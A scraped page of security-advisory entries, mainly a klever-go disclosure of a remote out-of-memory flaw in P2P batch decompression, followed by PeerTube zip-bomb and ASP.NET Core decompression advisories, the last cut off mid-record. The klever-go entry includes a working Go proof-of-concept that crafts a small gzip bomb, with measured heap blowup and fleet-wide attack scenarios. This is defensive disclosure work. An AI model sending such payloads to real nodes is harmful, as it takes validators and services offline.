Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693)

baseDataInterceptor.go:32 exempts messages from anti-flood enforcement when:

bytes.Equal(m.Signature(), m.From()) &&
bytes.Equal(m.From(), bdi.currentPeerID.Bytes()) &&
fromConnectedPeer == bdi.currentPeerID

The first equality is a sentinel byte comparison, not a cryptographic check. Exploitability depends on whether the upstream libp2p stack verifies envelope signatures before reaching preProcessMessage. The patch replaces the sentinel with a defense-in-depth check and ensures throttler accounting still runs on the self-message path.

Coordination with GHSA-74m6-4hjp-7226

The maintainer team is concurrently handling GHSA-74m6-4hjp-7226, which discloses an adjacent throttler-slot-leak finding in the same ProcessReceivedMessage function. The two CVEs are independently fixable per CNA Operational Rules, but operationally the patches must land in one release. rc2 will supersede rc1 and contain fixes for both advisories. Validators upgrade once.

Credits

Fernando Sobreira (maintainer, internal security review).

References

  • Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2
  • Related advisory: GHSA-74m6-4hjp-7226
  • CWE-409: https://cwe.mitre.org/data/definitions/409.html
  • CWE-770: https://cwe.mitre.org/data/definitions/770.html
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T01:36:27Z",
    "nvd_published_at": "2026-05-29T18:17:09Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA remote, unauthenticated denial-of-service vulnerability in\n`Batch.Decompress` (`data/batch/batch.go`) allows any peer that\nparticipates in a topic served by `MultiDataInterceptor` to allocate\nmulti-gigabyte heaps on the receiving node from a sub-50 KiB gossip\npayload. A single packet is sufficient to OOM-kill a validator with\nconventional memory provisioning. Fleet-wide application affects chain\nliveness.\n\nThe vulnerability was identified during an internal security review of\n`core/process/interceptors/multiDataInterceptor.go` at commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and\nsubstantially more severe than, the throttler-slot-leak vulnerability\ndisclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in\nthe same call path; the patches must land together in one release\n(rc2 superseding rc1).\n\nTwo additional, lower-severity hardening issues affecting the same code\npath are documented in this report and remediated by the same patch.\nThey are not independently exploitable under the default deployed\nanti-flood configuration and are not requested as separate CVEs.\n\n## Description\n\n`MultiDataInterceptor.ProcessReceivedMessage`\n(`core/process/interceptors/multiDataInterceptor.go:79`) handles every\ngossip message received on the topics the interceptor is registered for.\nAt lines 95\u2013102 it conditionally decompresses the payload via\n`Batch.Decompress`:\n\n```go\nif b.IsCompressed {\n    err = b.Decompress(mdi.marshalizer)\n    if err != nil { ... return err }\n}\n```\n\n`Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to\n`decompressGzip` (`data/batch/batch.go:35-53`), which performs an\nunbounded `io.ReadAll` on the gzip reader:\n\n```go\nfunc decompressGzip(data []byte) ([]byte, error) {\n    rdata := bytes.NewReader(data)\n    reader, err := gzip.NewReader(rdata)\n    if err != nil { return nil, err }\n    result, err := io.ReadAll(reader)   // no LimitReader, no DataSize check\n    ...\n}\n```\n\nAfter the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated\nbytes back into the `Batch` value, again with no size cap. The\nattacker-set `ba.DataSize` field is never validated on decompression, so\nthe lie is free.\n\nThe order of operations in `ProcessReceivedMessage`:\n\n```\npreProcessMessage              -\u003e anti-flood by COMPRESSED size only\nmarshalizer.Unmarshal(\u0026b, ..)  -\u003e outer Batch (small, cheap)\nb.Decompress(...)              -\u003e UNBOUNDED here  (bomb explodes)\n... b.Data populated with N entries ...\nantiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)\n```\n\nThe count-budget anti-flood check at line 111 runs *after* `Decompress`\ncompletes, so no anti-flood configuration can prevent the explosion. The\nonly gate above `Decompress` is `preProcessMessage`\u0027s byte budget, which\nsees only the *compressed* payload size and is trivially satisfied by a\nsub-MB bomb.\n\n## Proof of Concept\n\nThe PoC is a self-contained Go test that exercises the real\n`data/batch.Batch.Decompress` function and the production\n`factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction\n(marshal a `Batch` of millions of empty entries, gzip, wrap in an outer\ncompressed `Batch`) and the receiver-side path (`mrs.Unmarshal` \u2192 \n`received.Decompress(mrs)`) are exactly what runs in production at the\nreviewed commit.\n\nThe headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a\n~48 KiB outer wire payload that decompresses to 25 million `[]byte`\nentries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress`\nto capture the peak (since the inflated buffer is freed once `Decompress`\nreturns).\n\n### Test source\n\nPlace the file under `playground/p2pflood/c2_decompression_bomb_test.go`\nin a checkout of the reviewed commit, then run:\n\n```\ngo test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...\n```\n\n```go\npackage p2pflood_test\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"runtime\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/klever-io/klever-go/data/batch\"\n\t\"github.com/klever-io/klever-go/tools/marshal/factory\"\n)\n\nconst inflatedSize = 256 \u003c\u003c 20 // 256 MiB\n\n// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.\n// A real attacker produces this offline; the streaming form here keeps\n// the test\u0027s own attacker-side allocation small.\nfunc buildGzipOfZeros(t *testing.T, size int) []byte {\n\tt.Helper()\n\tvar buf bytes.Buffer\n\tgz := gzip.NewWriter(\u0026buf)\n\tchunk := make([]byte, 1\u003c\u003c20)\n\tfor written := 0; written \u003c size; {\n\t\tn := len(chunk)\n\t\tif size-written \u003c n {\n\t\t\tn = size - written\n\t\t}\n\t\tif _, err := gz.Write(chunk[:n]); err != nil {\n\t\t\tt.Fatalf(\"gzip write: %v\", err)\n\t\t}\n\t\twritten += n\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gzip close: %v\", err)\n\t}\n\treturn buf.Bytes()\n}\n\n// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and\n// returns (peak, baseline). In-flight sampling is required because\n// Decompress\u0027s internal allocations may be reclaimed by GC before the\n// function returns.\nfunc peakHeapDuring(fn func()) (peak, baseline uint64) {\n\truntime.GC()\n\tvar ms runtime.MemStats\n\truntime.ReadMemStats(\u0026ms)\n\tbaseline = ms.HeapAlloc\n\n\tvar stop atomic.Bool\n\tpeakPtr := new(atomic.Uint64)\n\tpeakPtr.Store(baseline)\n\tdone := make(chan struct{})\n\tgo func() {\n\t\tticker := time.NewTicker(5 * time.Millisecond)\n\t\tdefer ticker.Stop()\n\t\tvar s runtime.MemStats\n\t\tfor !stop.Load() {\n\t\t\truntime.ReadMemStats(\u0026s)\n\t\t\tcur := s.HeapAlloc\n\t\t\tfor {\n\t\t\t\told := peakPtr.Load()\n\t\t\t\tif cur \u003c= old || peakPtr.CompareAndSwap(old, cur) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t\u003c-ticker.C\n\t\t}\n\t\tclose(done)\n\t}()\n\n\tfn()\n\n\tstop.Store(true)\n\t\u003c-done\n\treturn peakPtr.Load(), baseline\n}\n\n// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.\n// All-zeros inflated payload; inner Unmarshal-after-decompress fails,\n// but the gzip output buffer is already allocated.\nfunc TestC2_DecompressionBomb_RawZeros(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tbombStream := buildGzipOfZeros(t, inflatedSize)\n\n\tbomb := \u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       bombStream,\n\t\tDataSize:     1, // a lie \u2014 Decompress ignores it\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal: %v\", err)\n\t}\n\n\tt.Logf(\"  wire payload (after Marshal): %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  advertised DataSize:          %d\", bomb.DataSize)\n\tt.Logf(\"  actual decompressed size:     %d bytes (%.2f MiB)\",\n\t\tinflatedSize, float64(inflatedSize)/(1\u003c\u003c20))\n\n\tbomb = nil\n\tbombStream = nil\n\truntime.GC()\n\n\treceived := \u0026batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\tif !received.IsCompressed {\n\t\tt.Fatalf(\"expected IsCompressed=true after outer unmarshal\")\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress error: %v (irrelevant \u2014 heap already allocated)\", decompressErr)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1\u003c\u003c20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -\u003e heap)\", amp)\n\n\tif allocated \u003c uint64(inflatedSize/2) {\n\t\tt.Fatalf(\"heap delta only %.2f MiB \u2014 vuln may already be patched\",\n\t\t\tfloat64(allocated)/(1\u003c\u003c20))\n\t}\n\tif amp \u003c 100 {\n\t\tt.Fatalf(\"amplification only %.1fx \u2014 expected \u003e\u003e100x\", amp)\n\t}\n}\n\n// TestC2_DecompressionBomb_ValidInner: realistic ceiling \u2014 gzip stream\n// decompresses to a valid marshaled Batch with N=25M empty entries.\n// Decompress\u0027s internal Unmarshal succeeds and additionally allocates\n// the [][]byte slice. All before any count-based anti-flood runs.\nfunc TestC2_DecompressionBomb_ValidInner(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tconst N = 25_000_000\n\n\tinnerBatch := \u0026batch.Batch{Data: make([][]byte, N)}\n\tinnerWire, err := mrs.Marshal(innerBatch)\n\tif err != nil {\n\t\tt.Fatalf(\"inner marshal: %v\", err)\n\t}\n\tinnerBatch = nil\n\truntime.GC()\n\n\tvar compressed bytes.Buffer\n\tgz := gzip.NewWriter(\u0026compressed)\n\tif _, err := gz.Write(innerWire); err != nil {\n\t\tt.Fatalf(\"gz write: %v\", err)\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gz close: %v\", err)\n\t}\n\tinnerWireLen := len(innerWire)\n\tinnerWire = nil\n\truntime.GC()\n\n\tbomb := \u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       compressed.Bytes(),\n\t\tDataSize:     1,\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"outer marshal: %v\", err)\n\t}\n\tt.Logf(\"  inner wire (uncompressed):    %d bytes (%.2f MiB)\",\n\t\tinnerWireLen, float64(innerWireLen)/(1\u003c\u003c20))\n\tt.Logf(\"  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  inner -\u003e outer compression:   %.0fx\",\n\t\tfloat64(innerWireLen)/float64(len(wire)))\n\n\tbomb = nil\n\tcompressed.Reset()\n\truntime.GC()\n\n\treceived := \u0026batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\t// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the\n\t\t// count-budget anti-flood at line 111.\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress returned: %v\", decompressErr)\n\tt.Logf(\"  Decompressed b.Data length: %d (matches N=%d? %v)\",\n\t\tlen(received.Data), N, len(received.Data) == N)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1\u003c\u003c20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -\u003e heap)\", amp)\n\n\tif decompressErr != nil {\n\t\tt.Fatalf(\"Decompress unexpectedly failed: %v\", decompressErr)\n\t}\n\tif len(received.Data) != N {\n\t\tt.Fatalf(\"inner Unmarshal lost entries: got %d want %d\",\n\t\t\tlen(received.Data), N)\n\t}\n\tif allocated \u003c 256\u003c\u003c20 {\n\t\tt.Fatalf(\"heap delta only %.2f MiB \u2014 expected \u003e256 MiB\",\n\t\t\tfloat64(allocated)/(1\u003c\u003c20))\n\t}\n\truntime.KeepAlive(received)\n}\n```\n\n### Measured output\n\nApple-silicon dev machine, `go 1.25`, against commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`:\n\n```\n=== RUN   TestC2_DecompressionBomb_RawZeros\n      wire payload (after Marshal): 260938 bytes (254.82 KiB)\n      advertised DataSize:          1\n      actual decompressed size:     268435456 bytes (256.00 MiB)\n      Decompress error: proto: cannot parse invalid wire-format data (irrelevant \u2014 heap already allocated)\n      peak heap during Decompress: +887994584 bytes (846.86 MiB)\n      elapsed: 155.79ms\n      amplification: 3403x (wire -\u003e heap)\n--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)\n\n=== RUN   TestC2_DecompressionBomb_ValidInner\n      inner wire (uncompressed):    50000000 bytes (47.68 MiB)\n      outer wire (gzip-wrapped):    48642 bytes (47.50 KiB)\n      inner -\u003e outer compression:   1028x\n      Decompress returned: \u003cnil\u003e\n      Decompressed b.Data length: 25000000 (matches N=25000000? true)\n      peak heap during Decompress: +2218262232 bytes (2115.50 MiB)\n      elapsed: 582.92ms\n      amplification: 45604x (wire -\u003e heap)\n--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)\n```\n\nReproduction: any commit that includes `data/batch/batch.go` in its\ncurrent `decompressGzip`/`Decompress` form. The PoC does not depend on\nlibp2p, the live interceptor stack, or any deployed configuration \u2014 the\nbug is in `Batch.Decompress` itself; any caller that reaches it pays\nfor the unbounded allocation.\n\nThe PoC sources (along with a companion test for the bundled\nslice-prealloc finding) live under `playground/p2pflood/` on the\nmaintainer\u0027s local workstation and have not been pushed to any branch.\nThey will be converted into a regression-test suite alongside the patch\nin the private fork.\n\n## Impact\n\nA single connected peer publishing on a topic served by\n`MultiDataInterceptor` (which on a public chain includes any anonymous\ngossip publisher) can cause the receiving node to allocate 2+ GiB of\nheap in under one second per packet.\n\nWith the default deployed configuration\n(`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an\nattacker can ship roughly 80 such bombs per second per connected peer\nbefore tripping the per-peer byte budget. The per-peer message count\nlimit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000\nbefore blacklisting) is high enough to permit the attack to run for\nseveral seconds before any blacklist activates. By that point the node\nprocess is already OOM-killed.\n\nRealistic attack scenarios:\n\n* A single attacker connected to one validator can OOM that validator\n  in under a second (one bomb suffices on memory-constrained nodes).\n* A small number of malicious peers spread across the validator fleet\n  can OOM the entire fleet within a single block-production interval,\n  affecting chain liveness.\n* Eclipse-attack composition: the cost is paid before any peer\n  reputation logic runs, so the attack works regardless of whether the\n  receiver attributes the message to originator or relayer.\n\n## Affected Code\n\n* `data/batch/batch.go:35-53`   \u2014 `decompressGzip`, unbounded `io.ReadAll`\n* `data/batch/batch.go:109-137` \u2014 `Batch.Decompress`, ignores `DataSize`,\n                                   re-`Unmarshal`s inflated bytes\n* `core/process/interceptors/multiDataInterceptor.go:95-102` \u2014 call site\n* `core/process/interceptors/multiDataInterceptor.go:84-94`  \u2014 preceding\n                                   `Unmarshal` step\n\n## Patches\n\nA patch is in preparation on a private branch and will land in rc2,\ntogether with the fix for `GHSA-74m6-4hjp-7226`. The intended fix\nshape:\n\n```go\nconst maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic\n\nfunc decompressGzip(data []byte, max int64) ([]byte, error) {\n    r, err := gzip.NewReader(bytes.NewReader(data))\n    if err != nil { return nil, err }\n    defer r.Close()\n    lr := io.LimitReader(r, max+1)\n    out, err := io.ReadAll(lr)\n    if err != nil { return nil, err }\n    if int64(len(out)) \u003e max {\n        return nil, ErrDecompressionTooLarge\n    }\n    return out, nil\n}\n\nfunc (ba *Batch) Decompress(m marshal.Marshalizer) error {\n    if !ba.IsCompressed { return common.ErrNotCompressed }\n    if ba.DataSize \u003e maxInflatedBatch {\n        return ErrDecompressionTooLarge\n    }\n    result, err := decompressGzip(ba.Stream, maxInflatedBatch)\n    if err != nil { return err }\n    if int64(len(result)) != int64(ba.DataSize) \u0026\u0026 ba.DataSize \u003e 0 {\n        return ErrDecompressedSizeMismatch\n    }\n    if err := m.Unmarshal(ba, result); err != nil { return err }\n    ba.Stream, ba.IsCompressed = nil, false\n    return nil\n}\n```\n\nThe cap value should be selected per topic. A 64 MiB ceiling preserves\nbackward compatibility for legitimate large batches while reducing the\nworst-case allocation by \u224830\u00d7 relative to the measured PoC and \u2248400\u00d7\nrelative to the upper bound of an uncapped attack.\n\nA regression test based on the PoC will accompany the patch.\n\n## Workarounds\n\nNone at the configuration level. The `peerMaxInput.totalSizePerInterval`\nbudget could theoretically be lowered, but as the PoC measurements show,\na single bomb is already lethal on memory-constrained nodes. Patch is\nrequired.\n\n## Bundled Hardening (no separate CVE)\n\nThe following two issues were identified in the same call path during\nthe review. They are not independently exploitable under the default\ndeployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit\nand so do not warrant their own CVEs. They are remediated by the same\npatch as the headline vulnerability and are documented here for\ntransparency.\n\n### Bundled #1 \u2014 Slice pre-allocation amplification (CWE-789, CWE-770)\n\n`multiDataInterceptor.go:123` performs:\n\n```go\nlistInterceptedData := make([]process.InterceptedData, len(multiDataBuff))\n```\n\n`len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`,\nboth of which are attacker-controlled. Under the default per-topic\ncount budget this is bounded; a deployer who loosens that budget, or\nany future code path that bypasses it, would expose \u224816 bytes \u00d7\nattacker-chosen-N of allocation. The same patch caps `len(b.Data)`\nimmediately after `Unmarshal`, again after `Decompress`, and before the\nmake.\n\nThe unconditional component of this finding \u2014 that `Decompress`\u0027s\ninternal `Unmarshal` populates `b.Data` with N `[]byte` slice headers\n(24 B each) before any count-budget check runs \u2014 is captured by the\nheadline finding\u0027s PoC.\n\n### Bundled #2 \u2014 Self-message anti-flood bypass (CWE-290, CWE-693)\n\n`baseDataInterceptor.go:32` exempts messages from anti-flood enforcement\nwhen:\n\n```go\nbytes.Equal(m.Signature(), m.From()) \u0026\u0026\nbytes.Equal(m.From(), bdi.currentPeerID.Bytes()) \u0026\u0026\nfromConnectedPeer == bdi.currentPeerID\n```\n\nThe first equality is a sentinel byte comparison, not a cryptographic\ncheck. Exploitability depends on whether the upstream libp2p stack\nverifies envelope signatures before reaching `preProcessMessage`. The\npatch replaces the sentinel with a defense-in-depth check and ensures\nthrottler accounting still runs on the self-message path.\n\n## Coordination with `GHSA-74m6-4hjp-7226`\n\nThe maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`,\nwhich discloses an adjacent throttler-slot-leak finding in the same\n`ProcessReceivedMessage` function. The two CVEs are independently\nfixable per CNA Operational Rules, but operationally the patches must\nland in one release. rc2 will supersede rc1 and contain fixes for both\nadvisories. Validators upgrade once.\n\n\n## Credits\n\nFernando Sobreira (maintainer, internal security review).\n\n## References\n\n* Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`\n* Related advisory: `GHSA-74m6-4hjp-7226`\n* CWE-409: https://cwe.mitre.org/data/definitions/409.html\n* CWE-770: https://cwe.mitre.org/data/definitions/770.html",
  "id": "GHSA-87m7-qffr-542v",
  "modified": "2026-07-21T13:53:46Z",
  "published": "2026-05-13T01:36:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-87m7-qffr-542v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44697"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload"
}

GHSA-89C2-GVR7-7R9W

Vulnerability from github – Published: 2025-04-15 15:30 – Updated: 2025-04-15 15:30
VLAI
Details

This vulnerability allows any authenticated user to cause the server to consume very large amounts of disk space when extracting a Zip Bomb.

If user import is enabled (which is the default setting), any registered user can upload an archive for importing. The code uses the yauzl library for reading the archive. The yauzl library does not contain any mechanism to detect or prevent extraction of a Zip Bomb https://en.wikipedia.org/wiki/Zip_bomb . Therefore, when using the User Import functionality with a Zip Bomb, PeerTube will try extracting the archive which will cause a disk space resource exhaustion.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-32949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T15:16:09Z",
    "severity": "MODERATE"
  },
  "details": "This vulnerability allows any authenticated user to cause the server to consume very large amounts of disk space when extracting a Zip Bomb. \n\nIf user import is enabled (which is the default setting), any registered user can upload an archive for importing. The code uses the yauzl library for reading the archive. The yauzl library does not contain any mechanism to detect or prevent extraction of a  Zip Bomb https://en.wikipedia.org/wiki/Zip_bomb . Therefore, when using the User Import functionality with a Zip Bomb, PeerTube will try extracting the archive which will cause a disk space resource exhaustion.",
  "id": "GHSA-89c2-gvr7-7r9w",
  "modified": "2025-04-15T15:30:54Z",
  "published": "2025-04-15T15:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chocobozzz/PeerTube/releases/tag/v7.1.1"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/peertube-archive-resource-exhaustion"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8CP2-47HG-MFGH

Vulnerability from github – Published: 2026-09-09 16:04 – Updated: 2026-09-09 16:04
VLAI
Summary
Microsoft Security Advisory CVE-2026-69304 – ASP.NET Core Denial of Service Vulnerability
Details

Microsoft Security Advisory CVE-2026-69304 – ASP.NET Core Denial of Service Vulnerability

Executive summary

Microsoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core IIS out-of-process hosting and request decompression. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.

The IIS Middleware for ASP.NET Core did not properly constrain decompression of certain types of request, leading to excess memory consumption and a Denial of Service.

Announcement

Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/443

CVSS Details

  • Version: 3.1
  • Severity: Medium
  • Score: 5.9
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Weakness: CWE-409 (Improper Handling of Highly Compressed Data (Data Amplification))

Affected Platforms

  • Platforms: Windows / IIS out-of-process
  • Architectures: All

Affected Packages

The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below

.NET 11 RC1

Package name Affected version Patched version
Microsoft.AspNetCore.Server.IISIntegration >= 11.0.0-preview.1, < 11.0.0-rc.1 11.0.0-rc.1

.NET 10

Package name Affected version Patched version
Microsoft.AspNetCore.Server.IISIntegration >= 10.0.0, <= 10.0.11 10.0.12

.NET 9

Package name Affected version Patched version
Microsoft.AspNetCore.Server.IISIntegration >= 9.0.0, <= 9.0.19 9.0.20

.NET 8

Package name Affected version Patched version
Microsoft.AspNetCore.Server.IISIntegration >= 8.0.0, <= 8.0.30 8.0.31

Advisory FAQ

How do I know if I am affected?

If using a package listed in affected packages, you're exposed to the vulnerability.

How do I fix the issue?

  1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
  2. If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the dotnet --info command.

Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.

Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.

Other Information

Reporting Security Issues

If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the MSRC Researcher Portal. Further information can be found in the MSRC Report an Issue FAQ.

Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.

Support

You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.

Disclaimer

The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

External Links

CVE-2026-69304

Acknowledgements

محمد السيد عثمان محمود القصاص

Anonymous

Revisions

V1.0 (09/08/2026): Advisory published.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.Server.IISIntegration"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0-preview.1"
            },
            {
              "fixed": "11.0.0-rc.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.30"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.Server.IISIntegration"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.19"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.Server.IISIntegration"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.11"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.AspNetCore.Server.IISIntegration"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-09T16:04:11Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Microsoft Security Advisory CVE-2026-69304 \u2013 ASP.NET Core Denial of Service Vulnerability\n\n## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core IIS out-of-process hosting and request decompression. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nThe IIS Middleware for ASP.NET Core did not properly constrain decompression of certain types of request, leading to excess memory consumption and a Denial of Service.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/443\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** Medium\n- **Score:** 5.9\n- **Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`\n- **Weakness:** CWE-409 (Improper Handling of Highly Compressed Data (Data Amplification))\n\n## Affected Platforms\n\n- **Platforms:** Windows / IIS out-of-process\n- **Architectures:** All\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\nThe vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below\n\n### \u003ca name=\".NET 11 RC1\"\u003e\u003c/a\u003e.NET 11 RC1\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.AspNetCore.Server.IISIntegration](https://www.nuget.org/packages/Microsoft.AspNetCore.Server.IISIntegration) | \u003e= 11.0.0-preview.1, \u003c 11.0.0-rc.1 | 11.0.0-rc.1\n\n### \u003ca name=\".NET 10\"\u003e\u003c/a\u003e.NET 10\nPackage name | Affected version | Patched version\n------------ | ---------------- | 